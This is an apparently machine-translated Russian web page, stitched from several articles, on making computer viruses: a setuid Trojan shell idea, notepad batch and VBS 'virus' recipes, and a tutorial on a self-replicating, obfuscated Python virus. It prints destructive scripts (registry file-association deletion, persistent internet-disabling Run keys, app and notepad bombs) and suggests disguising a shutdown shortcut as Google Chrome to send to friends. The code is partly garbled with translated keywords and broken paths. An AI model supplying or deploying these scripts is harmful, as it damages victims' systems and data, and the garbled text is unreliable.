Программа создания вирусов
Обновлено: 23.11.2024
Привет, друзья! Добро пожаловать обратно! Прежде чем продолжить работу с Malicious Logic, я прошу вас взглянуть на эту замечательную и информативную статью «Черви, вирусы и не только»!!
Теперь в этой статье основное внимание будет уделено приложениям, а не теории компьютерных вирусов, червей и троянских коней.
Обратите внимание, что эта статья предназначена только для образовательных целей. Я никоим образом не пропагандирую использование вирусов, червей или троянских коней для атаки на компьютерные системы и причинения ущерба. em>
Вредоносная логика — это набор инструкций (в основном программы), которые вызывают нарушение политики безопасности веб-сайта/программы/приложения и т. д.
Сценарий UNIX
В этом примере мы предполагаем, что «.» находится в среде пути, а скрипт назван ls и помещен в каталог.
Анализ сценария
Этот сценарий создает копию оболочки UNIX с идентификатором setuid пользователя, выполняющего эту программу. Чтобы понять программы setuid, нам сначала нужно понять, как хранится идентификатор пользователя в ОС UNIX.
В ОС UNIX идентификатор пользователя обычно представляется целым числом от 0 до 65 535. Этот номер также называется UID (уникальный идентификационный номер). Что делают программы setuid, так это то, что они создают процессы с UID владельца, а не третьего лица, выполняющего программу. Это означает, что у исполнителя будут права владельца… Это само по себе является возможной уязвимостью.
Возвращаясь к нашему сценарию, была создана setuid-копия оболочки UNIX. Позже эта программа удаляется, а затем выполняется правильная команда ls (для вывода списка файлов и папок, присутствующих в текущем рабочем каталоге).
Троянские кони
Вернуться к предыдущему сценарию... Предположим, что кто-то (root) ввел:
Если скрипт был набран преднамеренно, то результатом будет троянский конь.
Вирус — базовый формат
Большинство компьютерных вирусов следуют следующему основному сценарию:
- Фаза внедрения — на этом этапе вирус внедряется в цель.
- Этап выполнения — на этом этапе вирус выполняет некоторые действия.
Давайте посмотрим на настоящий вирус в Python. Теперь это не настоящий вирус, который вызывает повреждение файлов, удаление системных файлов и т. д., а просто безвредный вирус.
Узнайте, как создать компьютерный вирус менее чем за 60 секунд. Почти каждый пользователь компьютера или ноутбука хотя бы раз в жизни сталкивался с вирусной атакой, и мы все знаем, что такое вирус. Сегодня мы опишем пять способов создания вируса менее чем за минуту. Пожалуйста, прочтите сообщение, чтобы узнать об этом.
Сегодня мы здесь, чтобы создать вирус менее чем за 60 секунд. Сегодня каждую секунду человек пользуется компьютером, и почти все знают о вирусе. Вирус представляет собой вредоносную программу, которая проникает на компьютер без вашего разрешения и может повлиять на ваши данные и операционную систему.
Ну, вирусы бывают разных типов, есть трояны и многое другое. Однако задумывались ли вы когда-нибудь о создании вируса? Вы можете создать его за считанные секунды, и это возможно с помощью некоторых простых методов, которые я расскажу в этом посте.
Как создать компьютерный вирус менее чем за 60 секунд
Многие из вас подумают, что методы должны быть связаны с программированием, но ничего подобного. Трюки основаны на блокноте. Просто выполните следующие шаги для создания вируса в течение минуты. Кроме того, вы можете удалить вредоносное ПО из браузера, если он заражен.
1) Создание опасного вируса
<р>1. Прежде всего, в вашей ОС Windows откройте Блокнот.<р>2. Теперь скопируйте и вставьте приведенный ниже код на экран блокнота.
<р>3. Теперь сохраните этот файл как вирус.bat (вы можете выбрать любое случайное имя, но после этого обязательно должен быть .bat).
Теперь запуск файла полностью удалит диск C, а операционная система соответствующего компьютера будет повреждена.
Примечание. Этот метод предназначен только для ознакомления. Не пытайтесь повторить это на своем компьютере, так как это приведет к полному форматированию диска C.
2) Создание безвредного вируса на компакт-диске
Откройте Блокнот, вставьте в него следующий код и сохраните его как CD-ROM.vbs или что-то еще (*.vbs_
Установить oWMP = CreateObject("WMPlayer.OCX.7")
Установить colCDROMs = oWMP.cdromCollection
выполнить
если colCDROMs.Count >= 1, то
Для i = 0 в colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Далее
Для i = 0 в colCDROMs.Count – 1
colCDROMs.Item(i ).Eject
Следующий
Конец, если
wscript.sleep 5000
цикл
Если вы дважды щелкните этот файл, вы будете поражены тем, на что способен этот простой безвредный вирус. Ваши приводы CD/DVD будут постоянно извлекаться.
Чтобы остановить этот вирус, вам нужно открыть Диспетчер задач, выбрать вкладку "Процесс" и закрыть файл wscript.exe.
3) Создайте вирус для проверки вашего антивируса (поддельный вирусный блокнот)
Если у вас есть активный антивирус, ваша антивирусная программа мгновенно удалит этот файл. Это безобидный вирус, используемый для проверки уровня безопасности вашего антивируса.
4) Вирус, блокирующий доступ в Интернет
Это безвредный вирус, и он не разрушит ваш компьютер. Вы можете использовать этот блокнот вирусных скриптов, чтобы разыграть своих друзей. Этот вирус блокирует любой доступ в Интернет. Вам нужно ввести
следующий код в блокноте.
Сохраните файл в формате .bat, например internet.bat, и отправьте его своим друзьям. IP-адрес будет потерян, поэтому они не смогут его исправить. Ну, если вы хотите исправить это. Введите IPconfig/renew. Итак, это один из лучших розыгрышей вируса блокнота.
5) Создание экрана матричного типа
Ну, это не вирус. Это просто простой трюк с блокнотом, который позволит вам увидеть строку зеленых символов, появляющихся случайным образом. Это не имеет ничего общего с реестром вашего компьютера, пакетом и т. д. Однако вы можете использовать этот трюк, чтобы напугать своего друга, потому что экран выглядит так, как будто заражен вирусом.
Откройте Блокнот и введите в него следующий код.
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
перейти к началу
Теперь сохраните файл как Matrix.bat, нажмите на него, и шоу начнется.
6) Выключить вирус
Вы также можете создать вирус, который может выключать компьютеры. Этот вирус безвреден, но может привести к потере данных из-за внезапного отключения. Вот как вы можете сделать вирус отключения, чтобы разыграть своих друзей.
<р>1. Прежде всего, щелкните правой кнопкой мыши на рабочем столе и выберите параметр «Создать ярлык».<р>2. Во всплывающем окне введите shutdown -s -t 60 -c «Обнаружение вирусов. Компьютер выключается». Вместо 60 можно поставить любое значение. Он представляет время в секундах.
<р>3. Затем нажмите кнопку «Далее» и введите chrome. Или что хотите.
<р>4. Затем вам нужно изменить значок ярлыка и выбрать значок Google Chrome.
Ваш вирус будет выглядеть как Google Chrome. Вы можете носить этот файл на своей флешке и выключать компьютеры своих друзей.
Несколько других кодов вирусов Блокнота (уловки вирусов Блокнота)
Вот еще несколько исходных кодов для создания блокнотного вируса на компьютере под управлением Windows. Однако эти вирусы опасны и могут вывести из строя ваш компьютер. Поэтому не используйте этот вирус в злых целях.
Примечание. Ущерб, причиняемый этими вирусами, необратим.
1) Отключить Интернет навсегда
Приведенный ниже код отключит чье-либо подключение к Интернету НАВСЕГДА.
echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32 .batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho Вас взломали!
ПАУЗА
2) Бесконечные блокноты
Приведенный ниже код будет открывать бесконечные блокноты до тех пор, пока компьютер не зависнет и не выйдет из строя!
@ECHO off
:top
ПУСК %SystemRoot%\system32\notepad.exe
ПЕРЕХОД НА начало
3) Бесконечный ввод
Приведенный ниже код заставит кнопку ввода постоянно нажиматься
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
4) Удалить ключевые файлы реестра
Прежде чем попробовать вирус блокнота, помните, что это опасный и неисправимый вирус, который может привести к необратимому повреждению вашей операционной системы. Переустановка Windows — единственный способ избавиться от этого опасного вируса.
@ECHO OFF
ПУСК reg удалить HKCR/.exe
СТАРТ reg удалить HKCR/.dll
СТАРТ reg удалить HKCR/*
:MESSAGE
ЭХО Ваш компьютер сломался. Ваш папа.
ПЕРЕХОД К СООБЩЕНИЮ
5) Бомбардировщик приложений
Это еще один опасный вирус, который может мгновенно заморозить компьютер. Этот вирус будет многократно открывать различные приложения, заставляя компьютер зависать. Этот вирус также может повредить вашу материнскую плату, поэтому попробуйте это на свой страх и риск.
@echo off
😡
запустить winword
запустить mspaint
запустить блокнот
запустить запись
запустить cmd
запустить проводник
начать управление
начать расчет
перейти к x
Вы можете добавить свое приложение в приведенный выше код.
Вы можете легко создать вредоносный и безвредный вирус и одурачить своих друзей этим методом. Если у вас есть еще несколько подобных трюков, вы можете поделиться ими с нами. Надеюсь, вам понравился пост! Не забудьте поделиться этим замечательным постом с друзьями.
Я отдыхал на пляже во время летнего отпуска, когда получил письмо от читателя, который спросил меня, технически возможно ли написать вирус с помощью Python.
Короткий ответ: ДА.
Подробный ответ: да, НО…
Начнем с того, что в 2021 году вирусы стали немного анахронизмом… в настоящее время другие виды вредоносных программ (например, черви) встречаются гораздо чаще, чем вирусы. Более того, современные операционные системы более безопасны и менее подвержены заражению, чем MS-DOS или Windows 95 (извините, Microsoft…), и люди лучше осведомлены о риске вредоносных программ в целом.
Кроме того, для написания компьютерного вируса Python, наверное, вообще не лучший выбор. Это интерпретируемый язык, поэтому для его выполнения требуется интерпретатор. Да, вы можете встроить интерпретатор в свой вирус, но полученный вирус будет более тяжелым и немного неуклюжим… давайте проясним, для написания вируса, вероятно, лучше использовать другие языки, которые могут работать на более низком уровне и которые могут быть скомпилированы, и поэтому в старые времена очень часто можно было увидеть вирусы, написанные на C или ассемблере. р>
Тем не менее, на Python по-прежнему можно писать компьютерные вирусы, и в этой статье вы продемонстрируете это на практике.
Свой первый компьютерный вирус я встретил в 1988 году. Я играл в старый платформер CGA с моим другом Алексом, у которого был замечательный компьютер Olivetti M24 (да, я ТАКОЙ старый…), когда программа зависла и маленький шарик начал летать по экрану. Мы никогда раньше не видели ничего подобного и поэтому не знали об этом тогда, но мы столкнулись с вирусом пинг-понга, одним из самых известных и распространенных вирусов всех времен… по крайней мере здесь, в Италии.
Теперь, прежде чем начать, вы знаете, я должен написать небольшое заявление об отказе от ответственности.
Эта статья покажет вам, что компьютерный вирус на Python возможен и даже прост в написании. Однако Я НЕ призываю вас писать компьютерный вирус (ни на Python, ни на ЛЮБЫХ ДРУГИХ ЯЗЫКАХ), и я хочу напомнить вам, что НАНЕСЕНИЕ ВРЕДА ИТ-СИСТЕМЕ ЯВЛЯЕТСЯ ПРЕСТУПЛЕНИЕМ!
Теперь мы можем продолжить.
Согласно Википедии…
Компьютерный вирус — это компьютерная программа, которая при запуске воспроизводит себя, изменяя другие компьютерные программы и вставляя свой собственный код. Если эта репликация успешна, то пораженные области считаются «зараженными» компьютерным вирусом (метафора, происходящая от биологических вирусов).
Это означает, что нашей основной целью при написании вируса является создание программы, которая может распространяться и воспроизводиться, заражая другие файлы, обычно принося «полезную нагрузку», то есть вредоносную функцию, которую мы хотим выполнить в целевой системе.
Обычно компьютерный вирус состоит из трех частей:
- Вектор заражения: эта часть отвечает за поиск цели и распространение на нее.
- Триггер: это условие, при выполнении которого выполняется полезная нагрузка.
- Полезная нагрузка: вредоносная функция, которую несет вирус
Начнем программировать.
Давайте проанализируем этот код.
В первую очередь мы вызываем функцию get_virus_code(), которая возвращает исходный код вируса, взятый из текущего скрипта.
Затем функция find_files_to_infect() вернет список файлов, которые могут быть заражены, и для каждого возвращаемого файла вирус будет распространять инфекцию.
После того, как заражение произошло, мы просто вызываем функцию summon_chaos(), то есть, как следует из ее названия, функцию полезной нагрузки с вредоносным кодом.
Вот и все, довольно просто?
Очевидно, что все было вставлено в блок try-except, чтобы быть уверенным, что исключения в коде нашего вируса перехватываются и игнорируются оператором pass в блоке exclude.
Блок finally — это последняя часть вируса, и его цель — удалить используемые имена из памяти, чтобы убедиться, что они не влияют на работу зараженного скрипта.
Хорошо, теперь нам нужно реализовать только что созданные функции-заглушки! :)
Начнем с первого: функции get_virus_code().
Чтобы получить текущий код вируса, мы просто прочитаем текущий скрипт и получим то, что находим между двумя определенными комментариями.
Теперь давайте реализуем функцию find_files_to_infect(). Здесь мы напишем простую функцию, которая возвращает все файлы *.py в текущем каталоге. Достаточно просто для тестирования и… достаточно безопасно, чтобы не повредить нашу текущую систему! :)
Эта подпрограмма также может быть хорошим кандидатом для написания с помощью генератора. Какой? Вы не знаете генераторов? Тогда давайте посмотрим на эту интересную статью! ;)
И когда у нас есть список файлов для заражения, нам нужна функция заражения. В нашем случае мы просто напишем наш вирус в начале файла, который хотим заразить, вот так:
Теперь все, что нам нужно, это добавить полезную нагрузку. Поскольку мы не хотим делать ничего, что может повредить системе, давайте просто создадим функцию, которая выводит что-то на консоль.
Хорошо, наш вирус готов! Давайте посмотрим полный исходный код:
Когда эта программа выполняется, она возвращает 10 чисел от 0 до 100, очень полезно! ЛОЛ!
Теперь в том же каталоге у меня есть мой вирус. Давайте выполним это:
И, как и ожидалось, теперь у нас есть вирус, а не настоящий код.
Давайте создадим еще один файл .py в том же каталоге, простую программу «hello world»:
Попытка еще немного скрыть код вируса
Итак, что мы можем сделать, чтобы его было труднее найти?
Не более того, поскольку мы пишем его на Python, а Python — это интерпретируемый язык… однако, возможно, мы все еще можем что-то сделать.
Например, не было бы лучше, если бы мы могли считать зараженным любой отдельный файл, который содержит хэш md5 своего имени в качестве комментария?
Поэтому нашу функцию get_content_if_infectable() можно изменить следующим образом:
Очевидно, что перед вызовом нужно вычислить хэш файла, который вы собираетесь заразить, вот так:
а также следует изменить функцию get_virus_code() для поиска текущего хэша скрипта:
А как насчет исходного кода нашего вируса? Можно ли его как-то замаскировать, чтобы его было труднее обнаружить?
Ну, мы могли бы попытаться скрыть его, делая его другим каждый раз, когда мы заражаем новый файл, а затем мы могли бы сжать его с помощью библиотеки zlib и преобразовать в формат base64. Мы могли бы просто передать наш текстовый вирус новой функции transform_and_obscure_virus_code() следующим образом:
Очевидно, что когда вы скрываете свой вирус, сжимая его и кодируя в base64, код больше не может быть выполнен, поэтому вам придется преобразовать его в исходное состояние перед выполнением. Это будет сделано в методе infect с помощью оператора exec, подобного этому:
Полный исходный код нашего нового вируса может быть примерно таким:
Посмотрите на это, теперь это не так просто читать, верно? И каждая инфекция отличается от другой! Более того, каждый раз, когда инфекция распространяется, сжатый вирус byte64 снова и снова сжимается и кодируется.
И это всего лишь простой пример того, что можно сделать… например, вирус мог открыть цель и поместить этот кусок кода в начало случайной функции, не всегда в начало файла, или поместить его в другой файл и сделать просто вызов этого файла с вредоносным импортом заявление или около того…
Подводя итоги
В этой статье мы увидели, что написание компьютерного вируса на Python — тривиальная операция, и даже если это, вероятно, не лучший язык для написания вирусов… стоит держать ухо востро, особенно на рабочем сервере. :)
Компьютерный вирус — это вредоносная программа, загружаемая на компьютер пользователя и выполняющая вредоносные действия без ведома пользователя. Вы когда-нибудь задумывались, как создаются компьютерные вирусы? Вы, должно быть, думаете о том, как создать компьютерный вирус, поскольку у вас нет практических знаний ни о каком из кодов. Но это очень легко! Теперь вы можете очень легко создать компьютерный вирус. Вам не нужно разбираться в кодах и прочем, чтобы создать компьютерный вирус. В этой статье вы познакомитесь с некоторыми из лучших методов, с помощью которых вы можете создать компьютерный вирус за считанные секунды. Кроме того, есть несколько способов, которыми вы можете удивить своих друзей и членов семьи, поскольку они абсолютно безвредны.
Вы можете ознакомиться с лучшими способами создания компьютерного вируса, а именно:
Некоторые простые методы создания компьютерного вируса
1. Как создать опасный вирус
<р>1. На первом этапе вам нужно открыть блокнот в ОС Windows.<р>2. Теперь в блокноте скопируйте и вставьте код, который указан ниже:
<р>3. На этом этапе вы должны сохранить этот файл. Вы можете сохранить этот файл под любым именем, которое захотите, но в конце вы должны ввести «.bat». Например, блокнот.bat
Теперь, когда вы запускаете этот файл, диск C этого компьютера будет удален. Кроме того, операционная система этого компьютера будет уничтожена.
ВАЖНО: не пытайтесь повторить это на своем компьютере или в каких-либо незаконных целях.
2. Как создать безвредный вирус на компакт-диске
Ниже приведены шаги для создания вируса на компакт-диске:
<р>1. Откройте блокнот с помощью поиска Windows.<р>2. Теперь вам нужно скопировать и вставить код, который указан ниже:
<р>3. На этом этапе вы должны сохранить этот файл. Вы можете сохранить этот файл под любым именем, которое захотите, но в конце вы должны ввести «.vbs». Например, блокнот.vbs
<р>4. Теперь вам нужно дважды щелкнуть по этому файлу, и ваш DVD-привод и CD-привод будут полностью уничтожены. Таким образом, это очень простой способ создания вируса.
<р>5. Чтобы остановить этот вирус, вам нужно будет открыть диспетчер задач. <р>6. Выберите вкладку процесса, а затем нажмите «завершить файл wscript.exe».3. Как создать Вирус, с помощью которого можно протестировать антивирус (поддельный вирусный блокнот)
Ниже приведены шаги по созданию вируса, с помощью которого вы сможете протестировать свой антивирус:
<р>1. Снова откройте Блокнот в Windows 10. <р>2. Теперь вам нужно скопировать и вставить код, который указан ниже:Кроме того, если на вашем компьютере уже есть активный антивирус, файл будет немедленно удален. Этот вирус совсем не опасен для вашего компьютера. Вы можете использовать его для проверки уровня безопасности вашего антивируса.
4. Как заблокировать чей-то доступ в интернет с помощью вируса
Этот вирус совсем не опасен. Кроме того, ваш компьютер не будет уничтожен с помощью этого. Вы можете использовать этот вирус, чтобы удивить своих друзей. С помощью этого вируса вы можете отключить любой доступ в Интернет.
Ниже приведены шаги, чтобы остановить чей-либо доступ в Интернет с помощью вируса:
<р>1. Откройте свой блокнот <р>2. Теперь вам нужно скопировать и вставить код, который указан ниже: <р>3. Теперь вам нужно сохранить этот файл. Вы можете сохранить этот файл под любым именем, которое захотите, но в конце вы должны ввести «.bat». Например, notepad.bat. <р>4. Затем отправьте этот файл своим друзьям. <р>5. Когда они откроют этот файл, их IP-адрес будет потерян. <р>6. Чтобы решить эту проблему, вам просто нужно ввести renew или IPconfig в cmd, и проблема будет решена.Попробуйте этот удивительный и крутой вирус, чтобы удивить своих друзей.
5. Как создать экран матричного типа
Вы можете использовать этот метод, чтобы удивить своих друзей. Это не настоящий вирус. Используя этот метод, вы увидите экран матричного типа с зелеными цветными линиями, которые внезапно появятся на вашем экране. Это очень безопасный метод. Когда ваши друзья увидят это, они подумают, что на их компьютере вирус, так как экран зеленого цвета выглядит именно так!
Ниже приведены шаги для создания экрана матричного типа:
<р>1. Откройте свой блокнот <р>2. Теперь вам нужно скопировать и вставить код, который указан ниже: <р>3. Теперь вам нужно сохранить файл под именем «Matrix.bat», как показано на этом изображении выше <р>4. Открывайте файл, и самое крутое шоу начинается!6. Как создать вирус, который выключает компьютер
Используя этот метод, вы можете легко выключить компьютер с помощью вируса. Этот вирус совсем не опасен.
Ниже приведены шаги для создания вируса, который выключает компьютер:
<р>1. На первом этапе вам нужно щелкнуть правой кнопкой мыши на рабочем столе, а затем выбрать опцию «Создать ярлык», как показано на изображении ниже: <р>2. Теперь вам нужно ввести следующее:-s -t 50 -c «Обнаружение вирусов. Компьютер выключается”
Примечание. Вы можете ввести любое число вместо 50. Число используется для представления времени (единицы в секундах).
<р>3. Теперь вам нужно нажать «Далее». <р>4. Затем введите все, что хотите. Например, блокнот. <р>5. Теперь вы можете выбрать любую иконку для вируса. Здесь мы выбираем Google Chrome, который легко может ввести людей в заблуждение. <р>6. Ваш вирус будет иметь значок, как Google Chrome. Этим значком Google Chrome можно запутать кого угодно! Попробуйте этот вирус и удивите своих друзей!Другие коды вирусов
Ниже приведены некоторые другие коды, которые могут создать вирус. Все эти вирусы очень
ВАЖНО: Ущерб, вызванный следующими вирусами, не может быть устранен или устранен.
Номер 1: Как отключить Интернет навсегда
Код, указанный ниже, отключит подключение к Интернету навсегда. Таким образом, вы должны быть осторожны, прежде чем использовать этот вирус.
Номер 2: бесконечные блокноты Чтобы сломать или зависнуть компьютер
Вы можете использовать код, указанный ниже, для создания или открытия бесконечных блокнотов на чьем-либо компьютере, что приведет к зависанию или сбою компьютера.
Номер 3: Как удалить ключевые файлы реестра
Это очень опасный вирус, поэтому будьте осторожны перед его использованием. Этот вирус необратим. Единственный способ избавиться от вируса — заново переустановить Windows. Ниже приведен код этого вируса:
Номер 4: приложение-бомбардировщик, приводящее к бесконечному количеству приложений
Этот вирус слишком опасен. Этот вирус немедленно заморозит ваш компьютер. При использовании этого вируса на чьем-то экране появятся бесконечные приложения, что приведет к зависанию или сбою компьютера. Поэтому используйте этот вирус осторожно, так как он также может разрушить системную плату вашего компьютера.
Ниже приведен код этого вируса:
Итак, это были лучшие методы создания компьютерного вируса, которые вы можете рассмотреть. Кроме того, будьте осторожны, прежде чем использовать любой из методов, так как некоторые из них слишком вредны.
Пит Митчелл
Пит – старший штатный писатель TechCult. Пит любит все, что связано с технологиями, а также в глубине души является заядлым мастером-сделай сам. У него десятилетний опыт написания инструкций, руководств по функциям и технологиям в Интернете.
Читайте также: